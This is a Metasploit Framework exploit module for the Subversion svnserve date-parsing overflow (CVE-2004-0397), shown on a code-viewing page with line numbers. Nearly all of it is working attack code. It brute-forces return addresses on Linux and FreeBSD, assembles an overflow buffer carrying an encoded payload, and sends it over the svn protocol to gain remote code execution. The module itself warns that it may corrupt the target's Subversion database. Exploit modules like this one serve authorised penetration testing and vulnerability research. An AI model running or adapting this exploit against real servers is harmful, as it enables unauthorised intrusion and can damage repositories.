Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/svn/svnserve_date.rb
19515 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Brute
10
include Msf::Exploit::Remote::Tcp
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Subversion Date Svnserve',
17
'Description' => %q{
18
This is an exploit for the Subversion date parsing overflow. This
19
exploit is for the svnserve daemon (svn:// protocol) and will not work
20
for Subversion over webdav (http[s]://). This exploit should never
21
crash the daemon, and should be safe to do multi-hits.
22
23
**WARNING** This exploit seems to (not very often, I've only seen
24
it during testing) corrupt the subversion database, so be careful!
25
},
26
'Author' => 'spoonm',
27
'References' => [
28
['CVE', '2004-0397'],
29
['OSVDB', '6301'],
30
['BID', '10386'],
31
['URL', 'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html']
32
],
33
'Payload' => {
34
'Space' => 500,
35
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",
36
'MinNops' => 16,
37
},
38
'SaveRegisters' => [ 'esp' ],
39
'Arch' => 'x86',
40
'Platform' => %w{bsd linux},
41
'Targets' => [
42
[
43
'Linux Bruteforce',
44
{
45
'Platform' => 'linux',
46
'Bruteforce' =>
47
{
48
'Start' => { 'Ret' => 0xbffffe13 },
49
'Stop' => { 'Ret' => 0xbfff0000 },
50
'Step' => 0
51
}
52
},
53
],
54
[
55
'FreeBSD Bruteforce',
56
{
57
'Platform' => 'bsd',
58
'Bruteforce' =>
59
{
60
'Start' => { 'Ret' => 0xbfbffe13 },
61
'Stop' => { 'Ret' => 0xbfbf0000 },
62
'Step' => 0
63
}
64
},
65
],
66
67
],
68
'DisclosureDate' => '2004-05-19',
69
'Notes' => {
70
'Reliability' => UNKNOWN_RELIABILITY,
71
'Stability' => UNKNOWN_STABILITY,
72
'SideEffects' => UNKNOWN_SIDE_EFFECTS
73
}
74
)
75
)
76
77
register_options(
78
[
79
Opt::RPORT(3690),
80
OptString.new('URL', [ true, "SVN URL (ie svn://host/repos)", "svn://host/svn/repos" ])
81
]
82
)
83
84
register_advanced_options(
85
[
86
# 62 on spoonm's, 88 on HD's
87
OptInt.new('RetLength', [ false, "Length of rets after payload", 100 ]),
88
OptBool.new('IgnoreErrors', [ false, "Ignore errors", false ])
89
]
90
)
91
end
92
93
def brute_exploit(addresses)
94
connect
95
96
print_status("Trying #{"%.8x" % addresses['Ret']}...")
97
98
buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded
99
100
[
101
"( 2 ( edit-pipeline ) " + lengther(datastore['URL']) + " ) ",
102
"( ANONYMOUS ( 0; ) )",
103
"( get-dated-rev ( " + lengther(buffer + " 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)") + " ) ) "
104
].each_with_index { |buf, index|
105
trash = sock.get_once
106
107
print_line("Received: #{trash}") if debugging?
108
109
if (sock.put(buf) || 0) == 0 and index < 3
110
print_error("Error transmitting buffer.")
111
fail_with(Failure::Unknown, "Failed to transmit data") if !datastore['IgnoreErrors']
112
end
113
114
if index == 3 and trash.length > 0
115
print_error("Received data when we shouldn't have")
116
fail_with(Failure::Unknown, "Received data when it wasn't expected") if !datastore['IgnoreErrors']
117
end
118
}
119
120
handler
121
disconnect
122
end
123
124
def lengther(buf)
125
"#{buf.length}:" + buf
126
end
127
end
128
129